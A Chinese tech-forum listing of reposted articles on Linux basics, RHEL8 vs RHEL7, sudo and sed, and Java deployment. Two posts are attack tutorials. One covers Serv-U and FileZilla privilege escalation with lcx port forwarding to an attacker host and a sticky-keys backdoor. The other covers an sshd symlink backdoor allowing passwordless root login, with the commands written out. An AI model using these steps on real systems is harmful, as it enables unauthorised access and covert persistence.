下,通过简单的命令,就能搞定整个安装。你不需要担心弹窗,不需要烦心广告,不需要担心被要求强制更新也不需要频繁的去清理垃圾(而且linux 不需要选择软件是放 c 盘还是 d 盘等等,它已经定义好了哪些文件该放在哪些地方上了。)  安全而稳定   linux 不需要担心一不小心被误删东西之类的,几乎所有的复杂任务都需要root权限。Linux基本上都是热插拔的。很少崩溃、蓝屏、死机。linux 不需要频繁的开关机,即使你总是保持在线状态也不会很卡顿,但是windows 如果长时间处于开机状态,你可能会发现你的电脑变得很卡。    Linux之所以安全和稳定,是因为它的内核设计得非常优秀。Linux内核的设计目标是尽可能地减少系统崩溃和漏洞,同时提供足够的安全性和稳定性。此外,Linux社区非常活跃,有大量的开发者和用户,他们会不断地发现和修复漏洞,从而提高了系统的安全性。    另外,Linux的开源性质也使得它更加安全。由于任何人都可以查看和修改Linux内核源代码,因此任何可能存在的漏洞都可以被及时发现并修复。 ———————————————— 版权声明:本文为CSDN博主「家有娇妻张兔兔」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/wodejiaAA/article/details/131436822 
  • [技术干货] 红帽RHEL8和7的区别对比分享(Centos8与7参照redhat)
    红帽RHEL8与RHEL7的区别1. 红帽RHEL8和RHEL7功能区别对比1.1 默认的文件系统RHEL8与RHEL7都是采用XFS1.2 RHEL8与RHEL7的内核版本分别是多少关于内核版本,RHEL8和7的区别如下:RHEL8采用4.18.0-xRHEL7采用3.10-0-x1.3 内核代码名字关于内核代码,RHEL8和7的区别如下:RHEL8采用2019-05-07 (Kernel Version 4.18.0-80)RHE7采用2014-06-09 (Kernel Version 3.10.0-123)1.4 标准/默认的仓库频道关于仓库频道,RHEL8和7的区别如下:RHEL8Repo ID: rhel-8-for-x86_64-appstream-rpmsRepo Name: Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs)Repo ID: rhel-8-for-x86_64-baseos-rpmsRepo Name: Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs)RHEL7Repo ID: rhel-7-server-rpmsRepo Name: Red Hat Enterprise Linux 7 Server (RPMs)1.5 网络时间同步关于网络时间同步,RHEL8和7的区别如下:RHEL8只使用Chronyd,不支持NTP部署。RHEL7Chronyd与NTP两者都支持1.6 支持最大的文件关于支持最大的文件,RHEL8和7的区别如下:RHEL8XFS文件系统支持的最大文件大小已从500 TiB增加到1024 TiB。(此最大文件大小仅适用于64位机器。Red Hat Enterprise Linux不支持32位机器上的XFS.)RHEL7最大. (单独) 文件大小= 500TiB最大. 文件系统大小 = 500TiB1.7 软件包管理关于软件包管理,RHEL8和7的区别如下:红帽8包管理由DNF (YUMv4)完成。yum4基于DNF技术,yum4命令提供了与早期版本中使用的Yum v3的向后兼容性。yum命令只是到dnf的一个符号链接。红帽7yum基于3.0.x版本1.8 最大支持的内存关于最大支持的内存,RHEL8和7的区别如下:红帽824TB,64位架构红帽7:只支持12TB1.9 默认的网络数据包过滤关于默认的网络数据包过滤,RHEL8和7的区别如下:RHEL8使用nftables取代了iptables框架nftables是默认的网络包过滤,它取代了以前的iptables框架。firewalld守护进程现在使用nftables作为默认后端。这将取代以前使用的“iptables”、“ip6tables”、“arptables”和“ebtables”工具。“nftables”确实为IPv4和IPv6协议提供了一个单一的框架。而RHEL7 firewalld守护进程使用iptables作为其默认后端。1.10 默认的数据库关于默认的数据库,RHEL8和7的区别如下:RHEL8默认支持的数据库:MySQL 8.0MariaDB 10.3PostgreSQL 10 and PostgreSQL 9.6Redis 5.0MariaDB是Red Hat Enterprise Linux 7中MySQL的默认实现1.11 支持的硬件架构关于支持的硬件架构,RHEL8和7的区别如下:RHEL8支持以下硬件架构AMD and Intel 64-bit architecturesThe 64-bit ARM architectureIBM Power Systems, Little EndianIBM ZRHEL7支持以下硬件架构:64-bit AMD64-bit IntelIBM POWER7IBM System z1.12 可供安装的ISO镜像类型关于可供安装的ISO镜像类型,RHEL8和7的区别如下:RHEL 8可以使用以下类型的ISO镜像安装:Binary(二进制) DVD ISOBoot ISO在RHEL7中,可以使用以下可用的ISO镜像进行安装:Boot ISOBinary(二进制) DVD ISOSupplementary(追加的) Binary DVD1.13 默认情况下的Cockpit web控制台的安装状态关于默认情况下的Cockpit web控制台的安装状态,RHEL8和7的区别如下:在RHEL8中,Cockpit是默认安装和可用的。这将在非最小模式下自动安装,并在防火墙中启用所需端口。Cockpit提供了一个增强的框架,可以用来访问/编辑/更改许多系统设置。这提供了通过web接口的访问,可以使用浏览器访问url地址http://:9090进行管理。在RHEL7系统中,Cockpit默认情况下没有安装,需要通过启用extra和optional存储库通道来安装。1.14 默认虚拟机管理关于默认虚拟机管理,RHEL8和7的区别如下:在RHEL8系统中,默认情况下,它由Cockpit管理。如果需要,还可以安装virt-manager。而在RHEL7系统中virt-manager将用于基于KVM的虚拟系统管理。1.15 RMP版本的改进关于RMP版本的改进,RHEL8和7的区别如下:Red Hat Enterprise Linux 8是用RPM 4.14发布的。现在,RPM在开始安装之前验证整个包的内容。这有很多改进,其中一些值得注意的功能是:debuginfo包可以并行安装支持弱依赖关系支持丰富的或布尔依赖支持封装文件超过4 GB的大小支持文件触发器构建在RHEL8上的包在压缩负载上使用一个新的SHA-256散列。而Red Hat Enterprise Linux 7是用RPM 4.11发布的。在RHEL7上,RPM实用程序在解压时验证单个文件的有效负载内容。1.16 CUPS日志关于CUPS日志,RHEL8和7的区别如下:RHEL8所有类型的CUPS日志都与来自其他程序的日志一起集中记录在systemd journald守护进程中。要访问CUPS日志,请使用“journalctl -u CUPS”命令。而RHEL7系统上,CUPS日志被存储中 /var/log/cups directory.nobody用户替换nfsnobodyrhel8系统上,nobody和nfsnobody用户和组合并到nobodyID(65534)中。在Red Hat Enterprise Linux 7中,有:ID为99的nobody用户和组nfsnobody用户和组对的ID为65534,这也是默认的内核溢出ID。1.17 默认版本的控制系统关于默认版本的控制系统,RHEL8和7的区别如下:RHEL 8提供以下版本控制系统:Git 2.18Mercurial 4.8Subversion 1.10并发版本系统(CVS)和版本控制系统(RCS)在RHEL8中都不可用。而Red Hat Enterprise Linux 7与三个最流行的开源修订控制系统一起发布:Git、SVN和CVS。1.18 编程语言版本关于编程语言版本,RHEL8和7的区别如下:RHEL8新版本编程语言Python 3PHP 7.2Ruby 2.5Node.js 10而RHEL7支持以下编辑语言Python 2 ( 2.7.X)PHP 5.4Ruby 2.0.01.19 关于容器技术的支持关于容器技术的支持,RHEL8和7的区别如下:Docker不包括在RHEL 8.0中。使用容器时,需要使用podman、buildah、skopeo和runc工具。podman工具已经作为一个完全支持的特性发布了。Docker和Docker Registry是Red Hat Enterprise Linux 7中的Extras订阅频道的一部分。1.20 开发工具支持关于开发工具支持,RHEL8和7的区别如下:RHEL 8提供OpenJDK 11、OpenJDK 8、IcedTea-Web和各种Java工具,如Ant、Maven或Scala。在RHEL7中,OpenJDK8用作默认的Java开发工具包(JDK),而Java 8用作默认的Java版本。1.21 NFS配置对比关于NFS配置对比,RHEL8和7的区别如下:RHEL8的NFS配置文件是/etc/ NFS .conf。当从RHEL7升级时,Red Hat Enterprise Linux 8尝试自动将所有选项从/etc/sysconfig/nfs转换为/etc/nfs。并不再支持NFS / UDP。而RHEL7中,默认的NFS配置文件是/etc/sysconfig/ NFS1.22 默认的显示服务器关于默认的显示服务器,RHEL8和7的区别如下:在RHEL 8中,Gnome display Manager使用的默认显示服务器是Wayland。X.org服务器是RHEL 7中的默认显示服务器2. RHEL8额外新功能新特性2.1 elevator内核命令行参数被废弃早期的RHEL版本中使用了elevator内核命令行参数来设置所有设备的磁盘调度程序。在RHEL 8中,该参数被弃用。上游Linux内核已经取消了对elevator参数的支持,但是出于兼容性的原因,RHEL 8中仍然可以使用它。2.2 网络脚本被废弃在RHEL 8中,网络脚本在默认情况下不可用。有一个新版本的ifup和ifdown正在使用,这将需要NetworkManager守护进程运行,并在后端使用nmcli。如果需要早期的网络脚本,则必须安装“network-scripts”包。2.3 新内核支持5级paging在早期版本中,有4级分页实现,可以处理48/46位虚拟/物理地址,并且物理总线上限为64TB。在即将推出的Intel处理器中,这些限制已经扩展到57/52位的虚拟/物理内存寻址,具有128 PiB的虚拟地址空间和4 PB的物理内存容量。2.4 Anaconda支持RHEL 8中的系统目标以前,Anaconda没有向订阅管理器提供系统用途信息。在Red Hat Enterprise Linux 8.0中,您可以在安装期间使用Anaconda的system purpose窗口或Kickstart的syspurpose命令设置系统的预期目标。2.5 CodeReady Linux构建器仓库有一个CodeReady Linux构建器存储库,可用于所有RHEL订阅。这为开发人员提供了额外的包。CodeReady Linux构建器存储库中包含的包不支持生产使用。2.6 改进版本的OpenSSHOpenSSH的版本是7.8p1,与早期版本相比有很多改进。其中一些是:不再支持SSH version 1.默认不开启DNS支持.最小可接受RSA密钥大小设置为1024位.移除 'Blowfish', 'CAST', 'RC4' ciphers.默认关闭DSA 公钥算法.2.7 RHEL8中不支持数字用户名和组名useradd和groupadd命令不允许用户名和组名完全由数字字符组成。这是RHEL7中不支持的特性,现在RHEL8完全不支持它。2.8 默认情况下,securetty现在是禁用的默认情况下禁用了securetty PAM模块,并且从RHEL8中删除了/etc/securetty文件。2.9 改进的TCP网络栈RHEL 8拥有TCP网络栈版本4.18,可以提供更高的性能、更好的可伸缩性和更稳定的性能。性能得到了提高,特别是在繁忙的TCP服务器与高进入连接速率。除了新的TCP栈之外,还有两种新的TCP拥塞算法。在大多数情况下,BBR和NV可以提供比cubic更低的延迟和更好的吞吐量。2.10 高可用性(HA)在Red Hat Enterprise Linux 8中,pcs完全支持Corosync 3集群引擎和用于集群通信的Kronosnet (knet)网络抽象层。无法将集群节点从RHEL7就地升级到RHEL8。2.11 lvmlockd取代了clvmd用于管理共享存储逻辑卷的clvmd已被删除,取而代之的是lvmlockd(lvm lock 守护进程) 镜像下载地址CentOS 8 下载:https://centos.org/download/国内镜像下载:https://mirrors.tuna.tsinghua.edu.cn/centos/到此这篇关于红帽RHEL8和7的区别对比分享(Centos8与7参照redhat)的文章就介绍到这了转载自https://www.jb51.net/article/271516.htm
  • [技术干货] /bin/sh -c干什么的
    解决命令的权限问题,可以扩大权限的范围Linux系统由于其开放性、多用户、多任务和多线程、设备独立性、丰富的网络功能等优点受到大家的欢迎,越来越多的人想要去了解甚至学习Linux,而Linux功能通常是通过繁多的各类命令来实现的,所以学习Linux命令是基础,掌握好各种命令才能玩转Linux,但是Linux命令太多了,全部记住的话确实不容易也没必要,因为有些命令用的比较少,等用到的时候再记忆就可以。但一些常用到的命令是要必须掌握的。下面我就介绍一下Linux常见命令及分类。Linux命令分类的话可分为文件管理类,文档编辑类,系统管理类,磁盘管理类,文件传输类,网络通讯类,设备管理类,备份压缩类及其他命令等。比如要向 test.asc 文件中随便写入点内容,可以:$ echo "信息" >> test.csv如果将 test.asc 权限设置为只有 root 用户才有权限进行写操作:$ sudo chown root.root test.csv然后,我们使用 sudo 并配合 echo 命令再次向修改权限之后的 test.asc 文件中写入信息:`$ sudo echo "hahah" >> test.csv`-bash: test.asc: Permission denied这时可以看到 bash 拒绝这么做,说是权限不够。这是因为重定向符号 “>” 和 ">>" 也是 bash 的命令。我们使用 sudo 只是让 echo 命令具有了 root 权限,但是没有让 “>” 和 ">>" 命令也具有 root 权限,所以 bash 会认为这两个命令都没有像 test.csv文件写入信息的权限。解决这一问题的途径有两种。第一种是利用 "sh -c" 命令,它可以让 bash 将一个字串作为完整的命令来执行,这样就可以将 sudo 的影响范围扩展到整条命令。具体用法如下:$ sudo /bin/sh -c 'echo "hahah" >> test.asc'另一种方法是利用管道和 tee 命令,该命令可以从标准输入中读入信息并将其写入标准输出或文件中,具体用法如下:$ echo "hahah" | sudo tee -a test.asc注意,tee 命令的 "-a" 选项的作用等同于 ">>" 命令,如果去除该选项,那么 tee 命令的作用就等同于 ">" 命令对于编程的影响:shell脚本中如果有多个echo命令,如果不适用/bin/sh -c执行脚本,那么在java中使用BufferedReader获取脚本的输出时,只能获取到第一个echo的输出,使用/bin/sh -c则能获取到所有的echo输出。原文链接:https://www.jianshu.com/p/bda8d3cbdbae
  • [技术干货] linux关于sed流编辑器那些事
    介绍:  流编辑器sed是最早支持正则表达式的工具之一,至今仍然被人们用来做文本处理。sed是一个脚本型、非交互式的编辑器。也就是说sed与常见的编辑器如vim有所不同,sed没有交互式的编辑界面,光标移动以及庞大的快捷键功能。工作原理:  sed是一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,接着用sed命令处理缓冲区中的额内容,处理完成后,再把缓冲区的内容输出到屏幕中去,口恶者采集下一行代码,这样不断的重复,直到文件末尾,除非使用重定向存储输出,否则文件内容并不改变,sed主要用来编辑一个或多个文件,简化对文件的反复操作,编写转换程序等。  一般情况下sed分为俩个内缓冲区,分别为模式空间和保持空间。sed会把第一行的内容装入模式空间,处理后输出到屏幕,然后继续把第二行内容装入到模式空间,在进行处理,依次循环直到结束。也可以大致的分为三步:  第一步:sed每次将标准输入中的内容中的一行读入模式空间  第二步:之后根据模式空间中的匹配条件进行匹配,符合条件进入下一阶段不满足则默认到输出为止,退出!  第三步:普通编辑之后可分为三个阶段             (1)普通结束后选择性的显示到stdout 结束;             (2)进入保持空间进行高级编辑,编辑结束后选择性显示到模式空间,之后再根据编辑命令重复。             (3)若出现多次编辑命令,则需要再返回模式空间根据编辑条件重复。作者:泽宇-Li
  • [技术干货] Linux部署Java项目-转载
     一、启动虚拟机 使用RockyLinux来实现  启动后登录rockylinux sudo su - 修改root用户密码 passwd 切换到客户端软件连接虚拟机 ifconfig 或  ifconfig | more 查看ip地址使用Bvssh软件连接   二、安装java环境 连接成功后,打开命令行界执行安装Java的命令:  yum install java 运行过程中出现y/N的选择,输入y,按回车 yum安装好的Java会自动配置环境变量  验证安装:  java -version 三、创建java项目 创建SpringBoot项目,勾选 Spring Web依赖  项目创建好之后,在项目的resources目录下static下创建html文件或复制需要的资源。  此处插入了一个名为index的html文件和一张名为image.PNG的图片。   内容编写完毕,在侧边栏选中maven运行package打包命令(右击并选中Run Maven Build)  打包成功后在target文件夹中找到生成的jar包  将生成的jar包拖入Bvssh软件提供的复制文件的工具中  选中New SFTP window,将文件拖入Remote files中   转到linux命令行  关闭防火墙(启动Springboot项目的界面不能关,可以新开一个界面输入命令) systemctl stop firewalld  输入ll(两个小写的L) ll 观察当前目录是否有我们拖入的jar文件。  若存在,执行运行jar文件的命令  java -jar [jar包名称]  例如:java -jar demo-0.0.1-SNAPSHOT  注意:[jar包名称]可以敲前面几个字母,按Tab自动补全 若顺利启动,会看到Spring的图形Logo  然后可以在windows中打开浏览器访问项目:[ip地址]:8080  例如:178.120.2.13:8080 演示效果如图所示:  ———————————————— 版权声明:本文为CSDN博主「Etseat」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_58480518/article/details/127873085 
  • [技术干货] 第三方软件提权  
    介绍:很多时候可能系统本身很安全,但是往往会忽略一些应用程序存在的漏洞,当然对于应用程序来说,可能本身设计得很安全,但是由于用了其他有漏洞的第三方组件而导致自身出现了很严重的漏洞。当收集信息时发现安装了某些第三方软件时,可通过定位其版本去寻找相关漏洞提权,下面将介绍几种比较经典的第三方软件提权。 1.Serv-U提权 Serv-U是一款FTP服务器软件,可用于服务器文件管理,在一些低版本的Serv-U 中存在提权的风险,下面以 Serv-U 6.4.0.4 为例,它的密码文件是“ServUDaemon.ini”,黑客拿到 Shell 后可以对该文件进行操作,并可以通过直接添加管理用户或者破解管理用密码的方式进行提权。 拿到一个低权限 Shell 后查看启动的服务,由于系统本身启动了很多服务,定位到服务后先收集此服务的信息为后续操作做准备,上传“accesschk.exe”,运行命令“accesschk.exe -ucqv Serv-U/accepteula”查看系统服务权限,发现users组户了“SERVICE START”和“SERVICE_STOP”,也就是可以启动和关闭该服务。2:FileZilla 提权 FileZillaFP服务器,台认监听14147端口,若配置不当,会造成低权限用户从FileZila件中读取信息,非法接后台,进而进行提权。运行命令“net start| findstr FileZilla”查看服务发现安装了FileZilla,运行命令“netstat-ano| findstr14147”查看14147端口,发现端口14147处于监听 状态。使用Webshell管理工具,从FileZilla安装目录的“FileZillaServerxml”文件中找到后台配置信息,发现未配置后台连接密码。下面考虑是否可以通过“lcx”将14147端口转发出来,然后接后台。首先在攻击机运行命令“lcx-listen1111 2222”监听1111端口并转发到2222端口使用,再使用 Webshell管理工具上传“lcx”,在靶机运行“1cx-slave 127.0.01 14147 192.168.0.123 1111”命令,将FileZilla的14147端口转发到攻击机的1111端口。然后用攻击机连接本地的2222 端口便可以连接FileZilla,通过图形化界面便可以添加用户和添加分享目录C盘,并授予所有的权限,这时候便可以利用Shift后门提权。由于给C盘授予了所有权限,所以可以通过使用 cndexe”替换“sethc.exe”,替换成功后远程连接目标系统,不需要登录系统,直接按次Shifit 镜并出 cmd 窗口,可直接以System权限执行系统命令。只做技术交流哦!
  • [技术干货] linux权限维持
    介绍:sshd 软连接是Linux 下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是“pam_rootok.so”模块,“pam_rootok.so”模块的功能是若用户UID 是0,则返回成功,当“/etc/pamd/ssh”文件配置了“auth sufficient pam rootok.so”时可以不需要密码登录。当在被控制端执行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234”建立sshd的软连接后门,PAM认证时会根据软连接的名字到“/etc/pam.d”目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了“/etc/pam.d/ su”,而“su”中默认配置了“auth sufficient pam rootok.so”,从而导致SSH可以不需要密码登录。 步骤:下面介绍一个sshd软连接权限维持的实例。 通常SSH服务默认使用PAM进行身份验证,运行命令“cat/etc/ssh/sshd_config grepUsePAM”查看“letc/ssh/sshd_config”是否开启 PAM 认证。然后运行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort-1234”建立sshd的软连接后门,运行成功后便可以用root用户使用任意密码登录。注意:创建 使用任意密码登录系统,这里可能会失败,原因主要有两个,一是root 用户禁止远  程登录,再者就是系统防火墙策略阻挡。运行命令“ssh root:1111@192.168.0.106 1234”发现成功登录到了目标系统,
  • [内容拦截申诉] 【博客】图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4
    发帖正文:内容所属频道:博客内容标题名称:图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4内容链接: https://bbs.huaweicloud.com/blogs/397475审核未通过,麻烦帮忙看看什么原因,如何修改
总条数:968 到第
上滑加载中